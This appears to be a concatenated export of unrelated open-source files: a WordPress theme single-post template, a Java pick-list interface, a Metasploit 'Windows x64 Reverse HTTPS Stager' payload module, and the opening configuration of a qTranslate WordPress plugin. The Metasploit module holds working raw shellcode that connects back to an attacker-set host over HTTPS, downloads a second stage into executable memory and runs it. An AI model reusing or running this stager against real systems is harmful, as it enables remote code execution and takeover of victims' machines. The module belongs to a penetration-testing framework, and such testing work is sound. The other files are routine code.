<?php if(!of_get_option('show_cats_on_single') || of_get_option('show_cats_on_single') == 'true') : ?>
<div class="metadata">
<p>
<span class="label"><?php _e('Category:', 'PhotoSmyth') ?></span>
<span class="text"><?php the_category(', ') ?></span>
</p>
<?php the_tags('<p><span class="label">'.__('Tags:','PhotoSmyth').'</span><span class="text">', ', ', '</span></p>'); ?>
</div><!-- /metadata -->
<?php endif; ?>
<?php if(!of_get_option('show_socialbuts_on_single') || of_get_option('show_socialbuts_on_single') == 'true') : ?>
<div class="bookmark_button_container">
<div class="bookmark_button">
<a href="https://twitter.com/share" class="twitter-share-button" data-lang="en" data-count="vertical">Tweet</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="https://platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>
</div>
<div class="bookmark_button">
<!-- Place this tag where you want the su badge to render -->
<su:badge layout="5"></su:badge>
<!-- Place this snippet wherever appropriate -->
<script type="text/javascript">
(function() {
var li = document.createElement('script'); li.type = 'text/javascript'; li.async = true;
li.src = 'https://platform.stumbleupon.com/1/widgets.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(li, s);
})();
</script>
</div>
<div class="bookmark_button">
<!-- Place this tag where you want the +1 button to render -->
<g:plusone size="tall" href="<?php the_permalink(); ?>"></g:plusone>
<!-- Place this render call where appropriate -->
<script type="text/javascript">
(function() {
var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
po.src = 'https://apis.google.com/js/plusone.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
})();
</script>
</div>
<div class="bookmark_button_facebook">
<div class="bookmark_button">
<div id="fb-root"></div>
<script>(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/en_US/all.js#xfbml=1";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>
<div class="fb-like" data-href="<?php the_permalink(); ?>" data-send="false" data-layout="box_count" data-show-faces="false"></div>
</div>
</div>
</div><!-- /metadata -->
<?php endif; ?>
</div>
<!-- Post entry starts here -->
<div class="post_entry">
<div class="entry">
<?php the_content(__('<span>Continue Reading >></span>', 'PhotoSmyth')); ?>
<div class="clear"></div>
<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'PhotoSmyth' ) . '</span>', 'after' => '</div>' ) ); ?>
<?php
if (is_attachment()){
echo '<p class="PhotoSmyth_prev_img_attch">';
previous_image_link( false, '« '.__('Previous Image' , 'PhotoSmyth').'' );
echo '</p>';
}
?>
<?php
if (is_attachment()){
echo '<p class="PhotoSmyth_prev_img_attch">';
next_image_link( false, ''.__('Next Image' , 'PhotoSmyth').' »' );
echo '</p>';
}
?>
</div>
</div>
<!-- post entry ends here -->
<?php if(!of_get_option('show_author_bio') || of_get_option('show_author_bio')=='true') : ?>
<!-- Bio starts here -->
<div class="post_author_bio">
<div class="post_author_bio_bio">
<div class="post_author_bio_bio_pic">
<?php echo get_avatar( get_the_author_meta('ID'), 88 ); ?>
</div>
<div class="post_author_bio_bio_desc">
<p class="post_author_pic"><?php the_author() ?></p>
<p><?php the_author_meta('description'); ?></p>
</div>
</div>
<div class="post_author_bio_social">
<?php
$authorswebsitelink = PhotoSmyth_get_custom_field('authors_website', get_the_ID(), true);
if( !empty($authorswebsitelink) ) {
$authorswebsite = $authorswebsitelink;
}else {
$authorswebsite = get_the_author_meta('user_url');
}
?>
<?php if(!empty($authorswebsite)) : ?>
<div class="authors_website">
<p><a href="<?php echo $authorswebsite; ?>"><?php _e("Visit Author's Website",'PhotoSmyth'); ?></a></p>
</div>
<?php endif; ?>
<?php
$authorstwitterlink = PhotoSmyth_get_custom_field('authors_twitter', get_the_ID(), true);
if( !empty($authorstwitterlink) ) {
$authorstwitter = $authorstwitterlink;
}else {
$authorstwitter = of_get_option('twitter_id');
}
?>
<?php if(!empty($authorstwitter)) : ?>
<div class="authors_twitter">
<p><a href="https://www.twitter.com/<?php echo $authorstwitter; ?>"><?php _e("Follow On Twitter",'PhotoSmyth'); ?></a></p>
</div>
<?php endif; ?>
<?php
$authorsfacebooklink = PhotoSmyth_get_custom_field('authors_facebook', get_the_ID(), true);
if( !empty($authorsfacebooklink) ) {
$authorsfacebook = $authorsfacebooklink;
}else {
$authorsfacebook = of_get_option('facebook_id');
}
?>
<?php if(!empty($authorsfacebook)) : ?>
<div class="authors_facebook">
<p><a href="<?php echo $authorsfacebook; ?>"><?php _e("Like On Facebook",'PhotoSmyth'); ?></a></p>
</div>
<?php endif; ?>
</div>
</div>
<!-- Bio ends here -->
<?php endif; ?>
<?php if(!of_get_option('show_rss_box') || of_get_option('show_rss_box')=='true') : ?>
<!-- Newsletter starts here -->
<div class="single_newsletter">
<div class="single_newsletter_heading">
<p><a href="<?php echo get_feed_link( 'rss2' ); ?>"><?php _e('Subscribe To RSS','PhotoSmyth'); ?></a></p>
</div>
</div>
<!-- Newsletter ends here -->
<?php endif; ?>
<?php if(!of_get_option('show_social_box') || of_get_option('show_social_box')=='true') : ?>
<!-- Social Share starts here -->
<div class="single_social_share">
<div class="single_social_share_buttons">
<p><a target="_blank" href="http://www.stumbleupon.com/submit?url=<?php echo urlencode(get_permalink()) ?>&<?php the_title_attribute(); ?>"><img src="<?php echo get_stylesheet_directory_uri(); ?>/images/single_stumble.png" /></a></p>
<p><a target="_blank" href="https://twitter.com/intent/tweet?url=<?php echo urlencode(get_permalink()) ?>&text=<?php the_title_attribute(); ?>"><img src="<?php echo get_stylesheet_directory_uri(); ?>/images/single_twitter.png" /></a></p>
<p><a target="_blank" href="http://www.facebook.com/sharer.php?u=<?php echo urlencode(get_permalink()) ?>&t=<?php the_title_attribute(); ?>"><img src="<?php echo get_stylesheet_directory_uri(); ?>/images/single_facebook.png" /></a></p>
<p><a target="_blank" href="http://pinterest.com/pin/create/button/?url=<?php echo urlencode(get_permalink()) ?>&description=<?php the_title_attribute(); ?>"><img src="<?php echo get_stylesheet_directory_uri(); ?>/images/single_pinint.png" /></a></p>
<p><a target="_blank" href="http://del.icio.us/post?url=<?php echo urlencode(get_permalink()) ?>&title=<?php the_title_attribute(); ?>"><img src="<?php echo get_stylesheet_directory_uri(); ?>/images/single_deli.png" /></a></p>
<p><a target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&url=<?php echo urlencode(get_permalink()) ?>&title=<?php the_title_attribute(); ?>"><img src="<?php echo get_stylesheet_directory_uri(); ?>/images/single_linkedin.png" /></a></p>
<p><a target="_blank" href="http://reddit.com/login?dest=%2Fsubmit%3Furl%3D<?php echo urlencode(get_permalink()) ?>"><img src="<?php echo get_stylesheet_directory_uri(); ?>/images/single_reditt.png" /></a></p>
</div>
<div class="single_social_share_heading">
<p><?php _e('Like This Post? Share It','PhotoSmyth'); ?></p>
</div>
</div>
<!-- Social Share starts here -->
<?php endif; ?>
<?php if(!of_get_option('show_np_box') || of_get_option('show_np_box')=='true') : ?>
<!-- Next/prev post starts here -->
<div class="single_np">
<?php
previous_post_link('<div class="single_np_prev"><p class="single_np_prev_np">'.__('Previous Post' , 'PhotoSmyth').'</p><p> %link</p></div>');
?>
<?php
next_post_link('<div class="single_np_next"><p class="single_np_next_np">'.__('Next Post' , 'PhotoSmyth').'</span></p><p> %link</p></div>');
?>
</div>
<!-- Next/prev post ends here -->
<?php endif; ?>
</div>
<!-- Actual Post ends here -->
<?php comments_template(); ?>
<?php endwhile; ?>
<?php endif; ?>
</div>
</div>
<!-- Main Content Section ends here -->
<!-- Sidebar Section starts here -->
<?php get_sidebar(); ?>
<!-- Sidebar Section ends here -->
<!-- Footer Sidebar Section starts here -->
<?php if(!of_get_option('show_footer_widgets_single') || of_get_option('show_footer_widgets_single') == 'true') : ?>
<?php get_template_part( 'magpro', 'footerwidgets' ); ?>
<?php endif; ?>
<!-- Footer Sidebar Section ends here -->
</div>
<!-- Inner Content Section ends here -->
<?php get_footer(); ?>
| gpl-2.0 |
specify/specify6 | src/edu/ku/brc/af/ui/db/PickListItemIFace.java | 2450 | /* Copyright (C) 2021, Specify Collections Consortium
*
* Specify Collections Consortium, Biodiversity Institute, University of Kansas,
* 1345 Jayhawk Boulevard, Lawrence, Kansas, 66045, USA, [email protected]
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package edu.ku.brc.af.ui.db;
import java.sql.Timestamp;
/**
* Represents a PickListItem.
*
* Created Date: Nov 10, 2006
*
* @author rods
* @code_status Beta
*/
public interface PickListItemIFace extends Comparable<PickListItemIFace>
{
/**
* @return
*/
public abstract Integer getId();
/**
* @param pickList
*/
public abstract void setPickList(PickListIFace pickList);
/**
* @return
*/
public abstract PickListIFace getPickList();
/**
* @return
*/
public abstract String getTitle();
/**
* @param title
*/
public abstract void setTitle(String title);
/**
* @return
*/
public abstract String getValue();
/**
* @param value
*/
public abstract void setValue(String value);
/**
* @return
*/
public abstract Timestamp getTimestampCreated();
/**
* @param createdDate
*/
public abstract void setTimestampCreated(Timestamp createdDate);
/**
* @param ordinal
*/
public abstract void setOrdinal(Integer ordinal);
/**
* @return
*/
public abstract Integer getOrdinal();
/**
* @param pickList
*/
public abstract void SetPickList(PickListIFace pickList);
// Non-Presisted Field
/**
* @return
*/
public abstract Object getValueObject();
/**
* @param valueObject
*/
public abstract void setValueObject(Object valueObject);
}
| gpl-2.0 |
sigma-random/Win32_Shellcode | msf-windows/stagers/windows/x64/reverse_https.rb | 5122 | ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_https'
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Windows
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x64 Reverse HTTPS Stager',
'Description' => 'Tunnel communication over HTTP using SSL (Windows x64)',
'Author' => [
'hdm', # original 32-bit implementation
'agix', # x64 rewrite
'rwincey' # x64 alignment fix
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86_64,
'Handler' => Msf::Handler::ReverseHttps,
'Convention' => 'sockrdi https',
'Stager' =>
{
'Offsets' =>
{
# Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
# 'EXITFUNC' => [ 290, 'V' ],
'LPORT' => [286, 'v'], # Not a typo, really little endian
},
'Payload' =>
"\xFC\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51" +
"\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" +
"\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" +
"\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78" +
"\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67" +
"\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56" +
"\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0" +
"\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24" +
"\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41" +
"\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01" +
"\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83" +
"\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF" +
"\xFF\xFF\x5D" +
"\x6A\x00" + #alignment
"\x49\xBE\x77\x69\x6E\x69\x6E\x65\x74\x00\x41\x56\x49" +
"\x89\xE6\x4C\x89\xF1\x49\xBA\x4C\x77\x26\x07\x00\x00\x00\x00\xFF" +
"\xD5" +
"\x6A\x00" + #alignment
"\x6A\x00\x48\x89\xE1\x48\x31\xD2\x4D\x31\xC0\x4D\x31\xC9\x41" +
"\x50\x41\x50\x49\xBA\x3A\x56\x79\xA7\x00\x00\x00\x00\xFF\xD5" +
"\xE9\x9E\x00\x00\x00" + #updated jump offset
"\x5A\x48\x89\xC1\x49\xB8\x5C\x11\x00\x00\x00\x00" +
"\x00\x00\x4D\x31\xC9\x41\x51\x41\x51\x6A\x03\x41\x51\x49\xBA\x57" +
"\x89\x9F\xC6\x00\x00\x00\x00\xFF\xD5" +
"\xEB\x7C" + #updated jump offset
"\x48\x89\xC1\x48\x31" +
"\xD2\x41\x58\x4D\x31\xC9\x52\x68\x00\x32\xA0\x84\x52\x52\x49\xBA" +
"\xEB\x55\x2E\x3B\x00\x00\x00\x00\xFF\xD5\x48\x89\xC6\x6A\x0A\x5F" +
"\x48\x89\xF1\x48\xBA\x1F\x00\x00\x00\x00\x00\x00\x00" +
"\x6A\x00" + #alignment
"\x68\x80\x33" +
"\x00\x00\x49\x89\xE0\x49\xB9\x04\x00\x00\x00\x00\x00\x00\x00\x49" +
"\xBA\x75\x46\x9E\x86\x00\x00\x00\x00\xFF\xD5\x48\x89\xF1\x48\x31" +
"\xD2\x4D\x31\xC0\x4D\x31\xC9" +
"\x52\x52" + #updated alignment (extra push edx)
"\x49\xBA\x2D\x06\x18\x7B\x00\x00" +
"\x00\x00\xFF\xD5\x85\xC0\x75\x24\x48\xFF\xCF\x74\x13\xEB\xB1" +
"\xE9\x81\x00\x00\x00"+
"\xE8\x7F\xFF\xFF\xFF" + #updated jump offset
"\x2F\x31\x32\x33\x34\x35\x00" +
"\x49\xBE\xF0\xB5\xA2\x56\x00\x00\x00\x00\xFF\xD5\x48\x31\xC9\x48" +
"\xBA\x00\x00\x40\x00\x00\x00\x00\x00\x49\xB8\x00\x10\x00\x00\x00" +
"\x00\x00\x00\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xBA\x58" +
"\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" +
"\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" +
"\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" +
"\x83\xC4\x20\x85\xC0\x74\x99\x48\x8B\x07\x48\x01\xC3\x48\x85\xC0" +
"\x75\xCE\x58\x58\xC3" +
"\xE8\xD7\xFE\xFF\xFF" #updated jump offset
}
))
end
#
# Do not transmit the stage over the connection. We handle this via HTTPS
#
def stage_over_connection?
false
end
#
# Generate the first stage
#
def generate
p = super
i = p.index("/12345\x00")
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttps::URI_CHECKSUM_INITW) + "\x00"
p[i, u.length] = u
p + datastore['LHOST'].to_s + "\x00"
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end
| gpl-2.0 |
digitalppl/cimcim | wp-content/plugins/qtranslate-xp/ppqtranslate.php | 19616 | <?php // encoding: utf-8
/*
Plugin Name: qTranslate Plus
Plugin URI: http://www.primapagina.it/blog/qtranslate-plus/
Description: An unOfficial modified version of qTranslate (created by Qian Qin) created to be compatible with Wordpress 3.9 or highter.
Version: 2.7.2
Author: Papa Salvatore Mirko (Originally created by Qian Qin)
Author URI: http://www.primapagina.it/en/il-team/
Tags: multilingual, multi, language, admin, tinymce, qTranslate, plus, for, 3.9, 4.0, Polyglot, bilingual, widget, switcher, primapagina, professional, human, translation, service
*/
/*
Most flags in flags directory are made by Luc Balemans and downloaded from
FOTW Flags Of The World website at http://flagspot.net/flags/
(http://www.crwflags.com/FOTW/FLAGS/wflags.html)
*/
/* Copyright 2014
modified by Papa Salvatore Mirko (email : [email protected])
originally created by Qian Qin (email : [email protected])
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
/*
Default Language Contributers
=============================
en, de by Qian Qin
zh by Junyan Chen
fi by Tatu Siltanen
fr by Damien Choizit
nl by RobV
sv by bear3556, johdah
it by Lorenzo De Tomasi
ro, hu by Jani Monoses
ja by Brian Parker
es by June
vi by hathhai
ar by Mohamed Magdy
pt by netolazaro
gl by Andrés Bott
Plugin Translation Contributers
===============================
en, de by Qian Qin
es_ES by Alejandro Urrutia
fr by eriath
tr by freeuser
it by shecky
nl by BlackDex
id by Masino Sinaga
pt by claudiotereso
az by evlenirikbiz
bg by Dimitar Mitev
da by meviper
mk by Pavle Boskoski
cz by bengo
ja by dapperdanman1400
ms by webgrrrl
es_CA by CarlosSanz
hu by nb000
zh_CN by silverfox
eo by Chuck Smith
pt_BR by Marcelo Paoli
ru by viaestvita
ro by ipuiu
sv by tobi
Sponsored Features
==================
Excerpt Translation by bastiaan van rooden (www.nothing.ch)
Specials thanks
===============
All Supporters! Thanks for all the gifts, cards and donations!
*/
/* DEFAULT CONFIGURATION PART BEGINS HERE */
/* There is no need to edit anything here! */
// qTranslate Editor will only activated for the given version of Wordpress.
// Can be changed to use with other versions but might cause problems and/or data loss!
// define('QT_SUPPORTED_WP_VERSION', '3.9.2');
define('QT_STRING', 1);
define('QT_BOOLEAN', 2);
define('QT_INTEGER', 3);
define('QT_URL', 4);
define('QT_LANGUAGE', 5);
define('QT_URL_QUERY', 1);
define('QT_URL_PATH', 2);
define('QT_URL_DOMAIN', 3);
define('QT_STRFTIME_OVERRIDE', 1);
define('QT_DATE_OVERRIDE', 2);
define('QT_DATE', 3);
define('QT_STRFTIME', 4);
// enable the use of following languages (order=>language)
$q_config['enabled_languages'] = array(
'0' => 'de',
'1' => 'en',
'2' => 'zh'
);
// sets default language
$q_config['default_language'] = 'en';
// enables browser language detection
$q_config['detect_browser_language'] = true;
// hide pages without content
$q_config['hide_untranslated'] = false;
// automatically update .mo files
$q_config['auto_update_mo'] = true;
// hide language tag for default language
$q_config['hide_default_language'] = true;
// sets default url mode
// QT_URL_QUERY - query (questionmark)
// QT_URL_PATH - pre-path
// QT_URL_DOMAIN - pre-domain
$q_config['url_mode'] = QT_URL_PATH;
// pre-Domain Endings - for future use
$q_config['pre_domain']['de'] = "de";
$q_config['pre_domain']['en'] = "en";
$q_config['pre_domain']['zh'] = "zh";
$q_config['pre_domain']['fi'] = "fs";
$q_config['pre_domain']['fr'] = "fr";
$q_config['pre_domain']['nl'] = "nl";
$q_config['pre_domain']['sv'] = "sv";
$q_config['pre_domain']['it'] = "it";
$q_config['pre_domain']['ro'] = "ro";
$q_config['pre_domain']['hu'] = "hu";
$q_config['pre_domain']['ja'] = "ja";
$q_config['pre_domain']['es'] = "es";
$q_config['pre_domain']['vi'] = "vi";
$q_config['pre_domain']['ar'] = "ar";
$q_config['pre_domain']['pt'] = "pt";
$q_config['pre_domain']['pl'] = "pl";
$q_config['pre_domain']['gl'] = "gl";
// Names for languages in the corresponding language, add more if needed
$q_config['language_name']['de'] = "Deutsch";
$q_config['language_name']['en'] = "English";
$q_config['language_name']['zh'] = "中文";
$q_config['language_name']['fi'] = "suomi";
$q_config['language_name']['fr'] = "Français";
$q_config['language_name']['nl'] = "Nederlands";
$q_config['language_name']['sv'] = "Svenska";
$q_config['language_name']['it'] = "Italiano";
$q_config['language_name']['ro'] = "Română";
$q_config['language_name']['hu'] = "Magyar";
$q_config['language_name']['ja'] = "日本語";
$q_config['language_name']['es'] = "Español";
$q_config['language_name']['vi'] = "Tiếng Việt";
$q_config['language_name']['ar'] = "العربية";
$q_config['language_name']['pt'] = "Português";
$q_config['language_name']['pl'] = "Polski";
$q_config['language_name']['gl'] = "galego";
// Locales for languages
// see locale -a for available locales
$q_config['locale']['de'] = "de_DE";
$q_config['locale']['en'] = "en_US";
$q_config['locale']['zh'] = "zh_CN";
$q_config['locale']['fi'] = "fi";
$q_config['locale']['fr'] = "fr_FR";
$q_config['locale']['nl'] = "nl_NL";
$q_config['locale']['sv'] = "sv_SE";
$q_config['locale']['it'] = "it_IT";
$q_config['locale']['ro'] = "ro_RO";
$q_config['locale']['hu'] = "hu_HU";
$q_config['locale']['ja'] = "ja";
$q_config['locale']['es'] = "es_ES";
$q_config['locale']['vi'] = "vi";
$q_config['locale']['ar'] = "ar";
$q_config['locale']['pt'] = "pt_BR";
$q_config['locale']['pl'] = "pl_PL";
$q_config['locale']['gl'] = "gl_ES";
// Language not available messages
// %LANG:<normal_seperator>:<last_seperator>% generates a list of languages seperated by <normal_seperator> except for the last one, where <last_seperator> will be used instead.
$q_config['not_available']['de'] = "Leider ist der Eintrag nur auf %LANG:, : und % verfügbar.";
$q_config['not_available']['en'] = "Sorry, this entry is only available in %LANG:, : and %.";
$q_config['not_available']['zh'] = "对不起,此内容只适用于%LANG:,:和%。";
$q_config['not_available']['fi'] = "Anteeksi, mutta tämä kirjoitus on saatavana ainoastaan näillä kielillä: %LANG:, : ja %.";
$q_config['not_available']['fr'] = "Désolé, cet article est seulement disponible en %LANG:, : et %.";
$q_config['not_available']['nl'] = "Onze verontschuldigingen, dit bericht is alleen beschikbaar in %LANG:, : en %.";
$q_config['not_available']['sv'] = "Tyvärr är denna artikel enbart tillgänglig på %LANG:, : och %.";
$q_config['not_available']['it'] = "Ci spiace, ma questo articolo è disponibile soltanto in %LANG:, : e %.";
$q_config['not_available']['ro'] = "Din păcate acest articol este disponibil doar în %LANG:, : și %.";
$q_config['not_available']['hu'] = "Sajnos ennek a bejegyzésnek csak %LANG:, : és % nyelvű változata van.";
$q_config['not_available']['ja'] = "申し訳ありません、このコンテンツはただ今 %LANG:、 :と % のみです。";
$q_config['not_available']['es'] = "Disculpa, pero esta entrada está disponible sólo en %LANG:, : y %.";
$q_config['not_available']['vi'] = "Rất tiếc, mục này chỉ tồn tại ở %LANG:, : và %.";
$q_config['not_available']['ar'] = "عفوا، هذه المدخلة موجودة فقط في %LANG:, : و %.";
$q_config['not_available']['pt'] = "Desculpe-nos, mas este texto esta apenas disponível em %LANG:, : y %.";
$q_config['not_available']['pl'] = "Przepraszamy, ten wpis jest dostępny tylko w języku %LANG:, : i %.";
$q_config['not_available']['gl'] = "Sentímolo moito, ista entrada atopase unicamente en %LANG;,: e %.";
// qTranslate Services
$q_config['ppqtranslate_services'] = false;
// strftime usage (backward compability)
$q_config['use_strftime'] = QT_DATE;
// Date Configuration
$q_config['date_format']['en'] = '%A %B %e%q, %Y';
$q_config['date_format']['de'] = '%A, der %e. %B %Y';
$q_config['date_format']['zh'] = '%x %A';
$q_config['date_format']['fi'] = '%e.&m.%C';
$q_config['date_format']['fr'] = '%A %e %B %Y';
$q_config['date_format']['nl'] = '%d/%m/%y';
$q_config['date_format']['sv'] = '%Y/%m/%d';
$q_config['date_format']['it'] = '%e %B %Y';
$q_config['date_format']['ro'] = '%A, %e %B %Y';
$q_config['date_format']['hu'] = '%Y %B %e, %A';
$q_config['date_format']['ja'] = '%Y年%m月%d日';
$q_config['date_format']['es'] = '%d de %B de %Y';
$q_config['date_format']['vi'] = '%d/%m/%Y';
$q_config['date_format']['ar'] = '%d/%m/%Y';
$q_config['date_format']['pt'] = '%d de %B de %Y';
$q_config['date_format']['pl'] = '%d/%m/%y';
$q_config['date_format']['gl'] = '%d de %B de %Y';
$q_config['time_format']['en'] = '%I:%M %p';
$q_config['time_format']['de'] = '%H:%M';
$q_config['time_format']['zh'] = '%I:%M%p';
$q_config['time_format']['fi'] = '%H:%M';
$q_config['time_format']['fr'] = '%H:%M';
$q_config['time_format']['nl'] = '%H:%M';
$q_config['time_format']['sv'] = '%H:%M';
$q_config['time_format']['it'] = '%H:%M';
$q_config['time_format']['ro'] = '%H:%M';
$q_config['time_format']['hu'] = '%H:%M';
$q_config['time_format']['ja'] = '%H:%M';
$q_config['time_format']['es'] = '%H:%M hrs.';
$q_config['time_format']['vi'] = '%H:%M';
$q_config['time_format']['ar'] = '%H:%M';
$q_config['time_format']['pt'] = '%H:%M hrs.';
$q_config['time_format']['pl'] = '%H:%M';
$q_config['time_format']['gl'] = '%H:%M hrs.';
// Flag images configuration
// Look in /flags/ directory for a huge list of flags for usage
$q_config['flag']['en'] = 'gb.png';
$q_config['flag']['de'] = 'de.png';
$q_config['flag']['zh'] = 'cn.png';
$q_config['flag']['fi'] = 'fi.png';
$q_config['flag']['fr'] = 'fr.png';
$q_config['flag']['nl'] = 'nl.png';
$q_config['flag']['sv'] = 'se.png';
$q_config['flag']['it'] = 'it.png';
$q_config['flag']['ro'] = 'ro.png';
$q_config['flag']['hu'] = 'hu.png';
$q_config['flag']['ja'] = 'jp.png';
$q_config['flag']['es'] = 'es.png';
$q_config['flag']['vi'] = 'vn.png';
$q_config['flag']['ar'] = 'arle.png';
$q_config['flag']['pt'] = 'br.png';
$q_config['flag']['pt'] = 'br.png';
$q_config['flag']['gl'] = 'galego.png';
// Location of flags (needs trailing slash!)
$q_config['flag_location'] = 'plugins/qtranslate-xp/flags/';
// Don't convert URLs to this file types
$q_config['ignore_file_types'] = 'gif,jpg,jpeg,png,pdf,swf,tif,rar,zip,7z,mpg,divx,mpeg,avi,css,js';
/* DEFAULT CONFIGURATION PART ENDS HERE */
$q_config['term_name'] = array();
// Full country names as locales for Windows systems
$q_config['windows_locale']['aa'] = "Afar";
$q_config['windows_locale']['ab'] = "Abkhazian";
$q_config['windows_locale']['ae'] = "Avestan";
$q_config['windows_locale']['af'] = "Afrikaans";
$q_config['windows_locale']['am'] = "Amharic";
$q_config['windows_locale']['ar'] = "Arabic";
$q_config['windows_locale']['as'] = "Assamese";
$q_config['windows_locale']['ay'] = "Aymara";
$q_config['windows_locale']['az'] = "Azerbaijani";
$q_config['windows_locale']['ba'] = "Bashkir";
$q_config['windows_locale']['be'] = "Belarusian";
$q_config['windows_locale']['bg'] = "Bulgarian";
$q_config['windows_locale']['bh'] = "Bihari";
$q_config['windows_locale']['bi'] = "Bislama";
$q_config['windows_locale']['bn'] = "Bengali";
$q_config['windows_locale']['bo'] = "Tibetan";
$q_config['windows_locale']['br'] = "Breton";
$q_config['windows_locale']['bs'] = "Bosnian";
$q_config['windows_locale']['ca'] = "Catalan";
$q_config['windows_locale']['ce'] = "Chechen";
$q_config['windows_locale']['ch'] = "Chamorro";
$q_config['windows_locale']['co'] = "Corsican";
$q_config['windows_locale']['cs'] = "Czech";
$q_config['windows_locale']['cu'] = "Church Slavic";
$q_config['windows_locale']['cv'] = "Chuvash";
$q_config['windows_locale']['cy'] = "Welsh";
$q_config['windows_locale']['da'] = "Danish";
$q_config['windows_locale']['de'] = "German";
$q_config['windows_locale']['dz'] = "Dzongkha";
$q_config['windows_locale']['el'] = "Greek";
$q_config['windows_locale']['en'] = "English";
$q_config['windows_locale']['eo'] = "Esperanto";
$q_config['windows_locale']['es'] = "Spanish";
$q_config['windows_locale']['et'] = "Estonian";
$q_config['windows_locale']['eu'] = "Basque";
$q_config['windows_locale']['fa'] = "Persian";
$q_config['windows_locale']['fi'] = "Finnish";
$q_config['windows_locale']['fj'] = "Fijian";
$q_config['windows_locale']['fo'] = "Faeroese";
$q_config['windows_locale']['fr'] = "French";
$q_config['windows_locale']['fy'] = "Frisian";
$q_config['windows_locale']['ga'] = "Irish";
$q_config['windows_locale']['gd'] = "Gaelic (Scots)";
$q_config['windows_locale']['gl'] = "Gallegan";
$q_config['windows_locale']['gn'] = "Guarani";
$q_config['windows_locale']['gu'] = "Gujarati";
$q_config['windows_locale']['gv'] = "Manx";
$q_config['windows_locale']['ha'] = "Hausa";
$q_config['windows_locale']['he'] = "Hebrew";
$q_config['windows_locale']['hi'] = "Hindi";
$q_config['windows_locale']['ho'] = "Hiri Motu";
$q_config['windows_locale']['hr'] = "Croatian";
$q_config['windows_locale']['hu'] = "Hungarian";
$q_config['windows_locale']['hy'] = "Armenian";
$q_config['windows_locale']['hz'] = "Herero";
$q_config['windows_locale']['ia'] = "Interlingua";
$q_config['windows_locale']['id'] = "Indonesian";
$q_config['windows_locale']['ie'] = "Interlingue";
$q_config['windows_locale']['ik'] = "Inupiaq";
$q_config['windows_locale']['is'] = "Icelandic";
$q_config['windows_locale']['it'] = "Italian";
$q_config['windows_locale']['iu'] = "Inuktitut";
$q_config['windows_locale']['ja'] = "Japanese";
$q_config['windows_locale']['jw'] = "Javanese";
$q_config['windows_locale']['ka'] = "Georgian";
$q_config['windows_locale']['ki'] = "Kikuyu";
$q_config['windows_locale']['kj'] = "Kuanyama";
$q_config['windows_locale']['kk'] = "Kazakh";
$q_config['windows_locale']['kl'] = "Kalaallisut";
$q_config['windows_locale']['km'] = "Khmer";
